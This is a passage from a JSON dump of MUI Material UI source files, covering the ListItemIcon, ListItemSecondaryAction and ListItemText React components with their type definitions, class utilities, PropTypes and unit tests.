    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport ListItemIcon, { listItemIconClasses as classes } from '@mui/material/ListItemIcon';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ListItemIcon />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <ListItemIcon>\n      <div />\n    </ListItemIcon>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiListItemIcon',\n      refInstanceof: window.HTMLDivElement,\n      skip: ['componentProp', 'themeVariants'],\n    }),\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/ListItemIcon/index.d.ts",
    "content": "export { default } from './ListItemIcon';\nexport * from './ListItemIcon';\n\nexport { default as listItemIconClasses } from './listItemIconClasses';\nexport * from './listItemIconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemIcon/index.js",
    "content": "export { default } from './ListItemIcon';\n\nexport { default as listItemIconClasses } from './listItemIconClasses';\nexport * from './listItemIconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemIcon/listItemIconClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ListItemIconClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element when the parent `ListItem` uses `alignItems=\"flex-start\"`. */\n  alignItemsFlexStart: string;\n}\n\nexport type ListItemIconClassKey = keyof ListItemIconClasses;\n\nexport function getListItemIconUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiListItemIcon', slot);\n}\n\nconst listItemIconClasses: ListItemIconClasses = generateUtilityClasses('MuiListItemIcon', [\n  'root',\n  'alignItemsFlexStart',\n]);\n\nexport default listItemIconClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemSecondaryAction/ListItemSecondaryAction.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { ListItemSecondaryActionClasses } from './listItemSecondaryActionClasses';\n\nexport interface ListItemSecondaryActionOwnProps {\n  /**\n   * The content of the component, normally an `IconButton` or selection control.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ListItemSecondaryActionClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ListItemSecondaryActionTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & ListItemSecondaryActionOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n * Must be used as the last child of ListItem to function properly.\n *\n * Demos:\n *\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n *\n * API:\n *\n * - [ListItemSecondaryAction API](https://next.mui.com/material-ui/api/list-item-secondary-action/)\n */\ndeclare const ListItemSecondaryAction: OverridableComponent<ListItemSecondaryActionTypeMap> & {\n  muiName: string;\n};\n\nexport type ListItemSecondaryActionProps<\n  RootComponent extends React.ElementType = ListItemSecondaryActionTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ListItemSecondaryActionTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default ListItemSecondaryAction;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemSecondaryAction/ListItemSecondaryAction.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport ListContext from '../List/ListContext';\nimport { getListItemSecondaryActionClassesUtilityClass } from './listItemSecondaryActionClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { disableGutters, classes } = ownerState;\n\n  const slots = {\n    root: ['root', disableGutters && 'disableGutters'],\n  };\n\n  return composeClasses(slots, getListItemSecondaryActionClassesUtilityClass, classes);\n};\n\nconst ListItemSecondaryActionRoot = styled('div', {\n  name: 'MuiListItemSecondaryAction',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.disableGutters && styles.disableGutters];\n  },\n})({\n  position: 'absolute',\n  right: 16,\n  top: '50%',\n  transform: 'translateY(-50%)',\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.disableGutters,\n      style: {\n        right: 0,\n      },\n    },\n  ],\n});\n\n/**\n * Must be used as the last child of ListItem to function properly.\n */\nconst ListItemSecondaryAction = React.forwardRef(function ListItemSecondaryAction(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiListItemSecondaryAction' });\n  const { className, component, ...other } = props;\n  const context = React.useContext(ListContext);\n  const ownerState = { ...props, disableGutters: context.disableGutters };\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ListItemSecondaryActionRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nListItemSecondaryAction.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally an `IconButton` or selection control.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nListItemSecondaryAction.muiName = 'ListItemSecondaryAction';\n\nexport default ListItemSecondaryAction;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemSecondaryAction/ListItemSecondaryAction.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemSecondaryAction, {\n  listItemSecondaryActionClasses as classes,\n} from '@mui/material/ListItemSecondaryAction';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ListItemSecondaryAction />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ListItemSecondaryAction />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiListItemSecondaryAction',\n    skip: ['themeVariants'],\n  }));\n\n  it('should render without classes that disable gutters', () => {\n    render(\n      <ListItem\n        slots={{ secondaryAction: ListItemSecondaryAction }}\n        slotProps={{ secondaryAction: { 'data-testid': 'secondary-action' } }}\n        secondaryAction=\"foo\"\n      />,\n    );\n\n    expect(screen.getByTestId('secondary-action')).not.to.have.class(classes.disableGutters);\n  });\n\n  it('should disable the gutters', () => {\n    render(\n      <ListItem\n        disableGutters\n        slots={{ secondaryAction: ListItemSecondaryAction }}\n        slotProps={{ secondaryAction: { 'data-testid': 'secondary-action' } }}\n        secondaryAction=\"foo\"\n      />,\n    );\n\n    expect(screen.getByTestId('secondary-action')).to.have.class(classes.disableGutters);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ListItemSecondaryAction/index.d.ts",
    "content": "export { default } from './ListItemSecondaryAction';\nexport * from './ListItemSecondaryAction';\n\nexport { default as listItemSecondaryActionClasses } from './listItemSecondaryActionClasses';\nexport * from './listItemSecondaryActionClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemSecondaryAction/index.js",
    "content": "export { default } from './ListItemSecondaryAction';\n\nexport { default as listItemSecondaryActionClasses } from './listItemSecondaryActionClasses';\nexport * from './listItemSecondaryActionClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemSecondaryAction/listItemSecondaryActionClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ListItemSecondaryActionClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element when the parent `ListItem` has `disableGutters={true}`. */\n  disableGutters: string;\n}\n\nexport type ListItemSecondaryActionClassKey = keyof ListItemSecondaryActionClasses;\n\nexport function getListItemSecondaryActionClassesUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiListItemSecondaryAction', slot);\n}\n\nconst listItemSecondaryActionClasses: ListItemSecondaryActionClasses = generateUtilityClasses(\n  'MuiListItemSecondaryAction',\n  ['root', 'disableGutters'],\n);\n\nexport default listItemSecondaryActionClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemText/ListItemText.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { TypographyProps } from '../Typography';\nimport { ListItemTextClasses } from './listItemTextClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface ListItemTextSlots {\n  /**\n   * The component that renders the root slot.\n   * @default 'div'\n   */\n  root?: React.ElementType | undefined;\n  /**\n   * The component that renders the primary slot.\n   * @default Typography\n   */\n  primary?: React.ElementType | undefined;\n  /**\n   * The component that renders the secondary slot.\n   * @default Typography\n   */\n  secondary?: React.ElementType | undefined;\n}\n\nexport type ListItemTextSlotsAndSlotProps<\n  PrimaryTypographyComponent extends React.ElementType = React.ElementType<TypographyProps<'span'>>,\n  SecondaryTypographyComponent extends React.ElementType = React.ElementType<TypographyProps<'p'>>,\n> = CreateSlotsAndSlotProps<\n  ListItemTextSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on `div` element.\n     */\n    root: SlotProps<'div', {}, ListItemTextOwnerState>;\n    /**\n     * Props forwarded to the primary slot (as long as disableTypography is not `true`)\n     * By default, the available props are based on the [Typography](https://mui.com/material-ui/api/typography/#props) component\n     */\n    primary:\n      | TypographyProps<\n          PrimaryTypographyComponent,\n          { component?: PrimaryTypographyComponent | undefined }\n        >\n      | ((\n          ownerState: ListItemTextOwnerState,\n        ) => TypographyProps<\n          PrimaryTypographyComponent,\n          { component?: PrimaryTypographyComponent | undefined }\n        >);\n    /**\n     * Props forwarded to the secondary slot (as long as disableTypography is not `true`)\n     * By default, the available props are based on the [Typography](https://mui.com/material-ui/api/typography/#props) component\n     */\n    secondary:\n      | TypographyProps<\n          SecondaryTypographyComponent,\n          { component?: SecondaryTypographyComponent | undefined }\n        >\n      | ((\n          ownerState: ListItemTextOwnerState,\n        ) => TypographyProps<\n          SecondaryTypographyComponent,\n          { component?: SecondaryTypographyComponent | undefined }\n        >);\n  }\n>;\n\nexport interface ListItemTextOwnerState extends ListItemTextProps {}\n\nexport interface ListItemTextProps<\n  PrimaryTypographyComponent extends React.ElementType = 'span',\n  SecondaryTypographyComponent extends React.ElementType = 'p',\n>\n  extends\n    StandardProps<React.HTMLAttributes<HTMLDivElement>>,\n    ListItemTextSlotsAndSlotProps<PrimaryTypographyComponent, SecondaryTypographyComponent> {\n  /**\n   * Alias for the `primary` prop.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ListItemTextClasses> | undefined;\n  /**\n   * If `true`, the children won't be wrapped by a Typography component.\n   * This can be useful to render an alternative Typography variant by wrapping\n   * the `children` (or `primary`) text, and optional `secondary` text\n   * with the Typography component.\n   * @default false\n   */\n  disableTypography?: boolean | undefined;\n  /**\n   * If `true`, the children are indented.\n   * This should be used if there is no left avatar or left icon.\n   * @default false\n   */\n  inset?: boolean | undefined;\n  /**\n   * The main content element.\n   */\n  primary?: React.ReactNode;\n  /**\n   * The secondary content element.\n   */\n  secondary?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n *\n * API:\n *\n * - [ListItemText API](https://next.mui.com/material-ui/api/list-item-text/)\n */\nexport default function ListItemText<\n  PrimaryTypographyComponent extends React.ElementType = 'span',\n  SecondaryTypographyComponent extends React.ElementType = 'p',\n>(\n  props: ListItemTextProps<PrimaryTypographyComponent, SecondaryTypographyComponent>,\n): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemText/ListItemText.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Typography, { typographyClasses } from '../Typography';\nimport ListContext from '../List/ListContext';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport listItemTextClasses, { getListItemTextUtilityClass } from './listItemTextClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, inset, primary, secondary, dense } = ownerState;\n\n  const slots = {\n    root: ['root', inset && 'inset', dense && 'dense', primary && secondary && 'multiline'],\n    primary: ['primary'],\n    secondary: ['secondary'],\n  };\n\n  return composeClasses(slots, getListItemTextUtilityClass, classes);\n};\n\nconst ListItemTextRoot = styled('div', {\n  name: 'MuiListItemText',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${listItemTextClasses.primary}`]: styles.primary },\n      { [`& .${listItemTextClasses.secondary}`]: styles.secondary },\n      styles.root,\n      ownerState.inset && styles.inset,\n      ownerState.primary && ownerState.secondary && styles.multiline,\n      ownerState.dense && styles.dense,\n    ];\n  },\n})({\n  flex: '1 1 auto',\n  minWidth: 0,\n  marginTop: 4,\n  marginBottom: 4,\n  // Combine this and the below selector once https://github.com/emotion-js/emotion/issues/3366 is solved\n  [`.${typographyClasses.root}:where(& .${listItemTextClasses.primary})`]: {\n    display: 'block',\n  },\n  [`.${typographyClasses.root}:where(& .${listItemTextClasses.secondary})`]: {\n    display: 'block',\n  },\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.primary && ownerState.secondary,\n      style: {\n        marginTop: 6,\n        marginBottom: 6,\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.inset,\n      style: {\n        paddingLeft: 56,\n      },\n    },\n  ],\n});\n\nconst ListItemText = React.forwardRef(function ListItemText(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiListItemText' });\n  const {\n    children,\n    className,\n    disableTypography = false,\n    inset = false,\n    primary: primaryProp,\n    secondary: secondaryProp,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n  const { dense } = React.useContext(ListContext);\n\n  let primary = primaryProp != null ? primaryProp : children;\n  let secondary = secondaryProp;\n\n  const ownerState = {\n    ...props,\n    disableTypography,\n    inset,\n    primary: !!primary,\n    secondary: !!secondary,\n    dense,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    className: clsx(classes.root, className),\n    elementType: ListItemTextRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    ref,\n  });\n\n  const [PrimarySlot, primarySlotProps] = useSlot('primary', {\n    className: classes.primary,\n    elementType: Typography,\n    externalForwardedProps,\n    ownerState,\n  });\n  const [SecondarySlot, secondarySlotProps] = useSlot('secondary', {\n    className: classes.secondary,\n    elementType: Typography,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  if (primary != null && primary.type !== Typography && !disableTypography) {\n    primary = (\n      <PrimarySlot\n        variant={dense ? 'body2' : 'body1'}\n        component={primarySlotProps?.variant ? undefined : 'span'}\n        {...primarySlotProps}\n      >\n        {primary}\n      </PrimarySlot>\n    );\n  }\n\n  if (secondary != null && secondary.type !== Typography && !disableTypography) {\n    secondary = (\n      <SecondarySlot variant=\"body2\" color=\"textSecondary\" {...secondarySlotProps}>\n        {secondary}\n      </SecondarySlot>\n    );\n  }\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      {primary}\n      {secondary}\n    </RootSlot>\n  );\n});\n\nListItemText.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Alias for the `primary` prop.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the children won't be wrapped by a Typography component.\n   * This can be useful to render an alternative Typography variant by wrapping\n   * the `children` (or `primary`) text, and optional `secondary` text\n   * with the Typography component.\n   * @default false\n   */\n  disableTypography: PropTypes.bool,\n  /**\n   * If `true`, the children are indented.\n   * This should be used if there is no left avatar or left icon.\n   * @default false\n   */\n  inset: PropTypes.bool,\n  /**\n   * The main content element.\n   */\n  primary: PropTypes.node,\n  /**\n   * The secondary content element.\n   */\n  secondary: PropTypes.node,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes /* @typescript-to-proptypes-ignore */.shape({\n    primary: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    secondary: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    primary: PropTypes.elementType,\n    root: PropTypes.elementType,\n    secondary: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ListItemText;\n"
  },
  {
    "path": "packages/mui-material/src/ListItemText/ListItemText.spec.tsx",
    "content": "import * as React from 'react';\nimport { ListItemText } from '@mui/material';\n\nconst CustomComponent: React.FC<{ prop1: string; prop2: number }> = function CustomComponent() {\n  return <div />;\n};\n\nfunction typographyPropsTest() {\n  // @ts-expect-error\n  <ListItemText slotProps={{ primary: { component: 'incorrectComponent' } }} />;\n  <ListItemText slotProps={{ primary: { component: 'a', href: 'href' } }} />;\n  <ListItemText\n    slotProps={{\n      primary: {\n        component: 'a',\n        // @ts-expect-error\n        htmlFor: 'nonexistent-attribute',\n      },\n    }}\n  />;\n  <ListItemText\n    slotProps={{ primary: { component: CustomComponent, prop1: 'prop1', prop2: 2 } }}\n  />;\n  // @ts-expect-error\n  <ListItemText slotProps={{ primary: { component: CustomComponent, prop2: 2 } }} />;\n  <ListItemText slotProps={{ primary: { variant: 'h1' } }} />;\n  <ListItemText slotProps={{ primary: { align: 'left' } }} />;\n  <ListItemText\n    slotProps={{\n      primary: {\n        color: 'primary',\n        sx: { display: 'block' },\n        gutterBottom: true,\n        noWrap: true,\n        variantMapping: { h1: 'h1' },\n      },\n    }}\n  />;\n}\n\nfunction secondaryTypographyPropsTest() {\n  // @ts-expect-error\n  <ListItemText slotProps={{ secondary: { component: 'incorrectComponent' } }} />;\n  <ListItemText slotProps={{ secondary: { component: 'a', href: 'href' } }} />;\n  <ListItemText\n    slotProps={{\n      secondary: {\n        component: 'a',\n        // @ts-expect-error\n        htmlFor: 'nonexistent-attribute',\n      },\n    }}\n  />;\n  <ListItemText\n    slotProps={{ secondary: { component: CustomComponent, prop1: 'prop1', prop2: 2 } }}\n  />;\n  // @ts-expect-error\n  <ListItemText slotProps={{ secondary: { component: CustomComponent, prop2: 2 } }} />;\n  <ListItemText slotProps={{ secondary: { variant: 'h1' } }} />;\n  <ListItemText slotProps={{ secondary: { align: 'left' } }} />;\n  <ListItemText\n    slotProps={{\n      secondary: {\n        color: 'primary',\n        sx: { display: 'block' },\n        gutterBottom: true,\n        noWrap: true,\n        variantMapping: { h1: 'h1' },\n      },\n    }}\n  />;\n}\n\nfunction mixedTypographyPropsTest() {\n  <ListItemText\n    slotProps={{\n      // @ts-expect-error\n      primary: { component: 'incorrectComponent' },\n      // @ts-expect-error\n      secondary: { component: 'incorrectComponent' },\n    }}\n  />;\n  <ListItemText\n    slotProps={{\n      primary: { component: 'a', href: 'href' },\n      secondary: { component: 'a', href: 'href' },\n    }}\n  />;\n  <ListItemText\n    slotProps={{\n      primary: {\n        component: 'a',\n        // @ts-expect-error\n        htmlFor: 'nonexistent-attribute',\n      },\n      secondary: {\n        component: 'a',\n        // @ts-expect-error\n        htmlFor: 'nonexistent-attribute',\n      },\n    }}\n  />;\n  <ListItemText\n    slotProps={{\n      primary: { component: CustomComponent, prop1: 'prop1', prop2: 2 },\n      secondary: { component: CustomComponent, prop1: 'prop1', prop2: 2 },\n    }}\n  />;\n  <ListItemText\n    slotProps={{\n      // @ts-expect-error\n      primary: { component: CustomComponent, prop2: 2 },\n      // @ts-expect-error\n      secondary: { component: CustomComponent, prop2: 2 },\n    }}\n  />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/ListItemText/ListItemText.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Typography, { typographyClasses } from '@mui/material/Typography';\nimport ListItemText, { listItemTextClasses as classes } from '@mui/material/ListItemText';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ListItemText />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ListItemText primary=\"Primary\" secondary=\"Secondary\" />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiListItemText',\n    testVariantProps: { inset: true },\n    refInstanceof: window.HTMLDivElement,\n    slots: {\n      primary: {\n        expectedClassName: classes.primary,\n      },\n      secondary: {\n        expectedClassName: classes.secondary,\n      },\n      root: {\n        expectedClassName: classes.root,\n      },\n    },\n    skip: ['componentProp'],\n  }));\n\n  it('should render with inset class', () => {\n    const { container } = render(<ListItemText inset />);\n    expect(container.querySelector('div')).to.have.class(classes.inset);\n    expect(container.querySelector('div')).to.have.class(classes.root);\n  });\n\n  it('should render with no children', () => {\n    const { container } = render(<ListItemText />);\n    expect(container.querySelector('div').querySelectorAll('*')).to.have.length(0);\n  });\n\n  describe('prop: primary', () => {\n    it('should render primary text', () => {\n      const ref = React.createRef();\n      const text = () => ref.current.textContent;\n      const { container } = render(<ListItemText primary=\"This is the primary text\" ref={ref} />);\n      expect(container.querySelectorAll('span.MuiTypography-root')).to.have.length(1);\n      expect(container.querySelector('span.MuiTypography-root')).to.have.class(\n        typographyClasses.body1,\n      );\n      expect(text()).to.equal('This is the primary text');\n    });\n\n    it('should use the primary node', () => {\n      const primaryRef = React.createRef();\n      const primary = <span ref={primaryRef} />;\n      const { container } = render(<ListItemText primary={primary} />);\n      expect(container.querySelector('div')).to.contain(primaryRef.current);\n    });\n\n    it('should use the children prop as primary node', () => {\n      const primaryRef = React.createRef();\n      const primary = <span ref={primaryRef} />;\n      const { container } = render(<ListItemText>{primary}</ListItemText>);\n      expect(container.querySelector('div')).to.contain(primaryRef.current);\n    });\n\n    it('should read 0 as primary', () => {\n      const { container } = render(<ListItemText primary={0} />);\n      expect(container.querySelector('span.MuiTypography-root')).to.have.text('0');\n    });\n  });\n\n  describe('prop: secondary', () => {\n    it('should render secondary text', () => {\n      const ref = React.createRef();\n      const text = () => ref.current.textContent;\n      const { container } = render(\n        <ListItemText secondary=\"This is the secondary text\" ref={ref} />,\n      );\n      expect(container.querySelectorAll('p.MuiTypography-root')).to.have.length(1);\n      expect(container.querySelector('p.MuiTypography-root')).to.have.class(\n        typographyClasses.body2,\n      );\n      expect(text()).to.equal('This is the secondary text');\n    });\n\n    it('should use the secondary node', () => {\n      const secondaryRef = React.createRef();\n      const secondary = <span ref={secondaryRef} />;\n      const { container } = render(<ListItemText secondary={secondary} />);\n      expect(container.querySelector('div')).to.contain(secondaryRef.current);\n    });\n\n    it('should read 0 as secondary', () => {\n      const { container } = render(<ListItemText secondary={0} />);\n      expect(container.querySelector('p.MuiTypography-root')).to.have.text('0');\n    });\n  });\n\n  describe('prop: disableTypography', () => {\n    it('should wrap children in `<Typography/>` by default', () => {\n      const { container } = render(\n        <ListItemText primary=\"This is the primary text\" secondary=\"This is the secondary text\" />,\n      );\n\n      const texts = container.querySelectorAll('.MuiTypography-root');\n      expect(texts).to.have.length(2);\n\n      const primaryText = texts[0];\n      expect(primaryText).to.have.class(typographyClasses.body1);\n      expect(primaryText).to.have.text('This is the primary text');\n\n      const secondaryText = texts[1];\n      expect(secondaryText).to.have.class(typographyClasses.body2);\n      expect(secondaryText).to.have.text('This is the secondary text');\n    });\n\n    it('should render JSX children', () => {\n      const primaryRef = React.createRef();\n      const primaryChild = (\n        <p className=\"test\" ref={primaryRef}>\n          This is the primary text\n        </p>\n      );\n      const secondaryRef = React.createRef();\n      const secondaryChild = (\n        <p className=\"test\" ref={secondaryRef}>\n          This is the secondary text\n        </p>\n      );\n      const { container } = render(\n        <ListItemText primary={primaryChild} secondary={secondaryChild} disableTypography />,\n      );\n      const texts = container.querySelectorAll('div > p:not(.MuiTypography-root)');\n      expect(texts[0]).to.equal(primaryRef.current);\n      expect(texts[1]).to.equal(secondaryRef.current);\n    });\n  });\n\n  it('should render primary and secondary text with customisable classes', () => {\n    const textClasses = {\n      primary: 'GeneralText',\n      secondary: 'SecondaryText',\n    };\n    const { container } = render(\n      <ListItemText\n        primary=\"This is the primary text\"\n        secondary=\"This is the secondary text\"\n        classes={textClasses}\n      />,\n    );\n    const texts = container.querySelector('div').querySelectorAll('*');\n\n    expect(texts[0]).to.have.class('GeneralText');\n    expect(texts[1]).to.have.class('SecondaryText');\n  });\n\n  it('should not re-wrap the <Typography> element', () => {\n    const primary = <Typography>This is the primary text</Typography>;\n    const secondary = <Typography>This is the secondary text</Typography>;\n    const { container } = render(<ListItemText primary={primary} secondary={secondary} />);\n    const texts = container.querySelectorAll('.MuiTypography-root');\n    expect(texts).to.have.length(2);\n    expect(texts[0]).to.have.text('This is the primary text');\n    expect(texts[1]).have.text('This is the secondary text');\n  });\n\n  it('should use variant if provided', () => {\n    render(\n      <ListItemText\n        primary=\"This is the primary text\"\n        slotProps={{ primary: { variant: 'h3' }, secondary: { variant: 'h4' } }}\n        secondary=\"This is the secondary text\"\n      />,\n    );\n\n    expect(screen.getByText('This is the primary text')).to.have.tagName('h3');\n    expect(screen.getByText('This is the secondary text')).to.have.tagName('h4');\n  });\n\n  it('should fall back to the default tag name if no variant provided', () => {\n    render(\n      <ListItemText primary=\"This is the primary text\" secondary=\"This is the secondary text\" />,\n    );\n\n    expect(screen.getByText('This is the primary text')).to.have.tagName('span');\n    expect(screen.getByText('This is the secondary text')).to.have.tagName('p');\n  });\n\n  it('should pass slotProps.primary to primary Typography component', () => {\n    const { container } = render(\n      <ListItemText\n        primary=\"This is the primary text\"\n        slotProps={{ primary: { 'data-test': 'foo' } }}\n      />,\n    );\n    expect(container.querySelector('span')).to.have.attribute('data-test');\n  });\n\n  it('should pass slotProps.secondary to secondary Typography component', () => {\n    const { container } = render(\n      <ListItemText\n        primary=\"This is the primary text\"\n        secondary=\"This is the secondary text\"\n        slotProps={{ secondary: { 'data-test': 'foo' } }}\n      />,\n    );\n    expect(container.querySelector('p')).to.have.attribute('data-test');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ListItemText/index.d.ts",
    "content": "export { default } from './ListItemText';\nexport * from './ListItemText';\n\nexport { default as listItemTextClasses } from './listItemTextClasses';\nexport * from './listItemTextClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemText/index.js",
    "content": "export { default } from './ListItemText';\n\nexport { default as listItemTextClasses } from './listItemTextClasses';\nexport * from './listItemTextClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItemText/listItemTextClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ListItemTextClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the Typography component if primary and secondary are set. */\n  multiline: string;\n  /** Styles applied to the Typography component if dense. */\n  dense: string;\n  /** Styles applied to the root element if `inset={true}`. */\n  inset: string;\n  /** Styles applied to the primary `Typography` component. */\n  primary: string;\n  /** Styles applied to the secondary `Typography` component. */\n  secondary: string;\n}\n\nexport type ListItemTextClassKey = keyof ListItemTextClasses;\n\nexport function getListItemTextUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiListItemText', slot);\n}\n\nconst listItemTextClasses: ListItemTextClasses = generateUtilityClasses('MuiListItemText', [\n  'root',\n  'multiline',\n  'dense',\n  'inset',\n  'primary',\n  'secondary',\n]);\n\nexport default listItemTextClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ListSubheader/ListSubheader.d.ts",
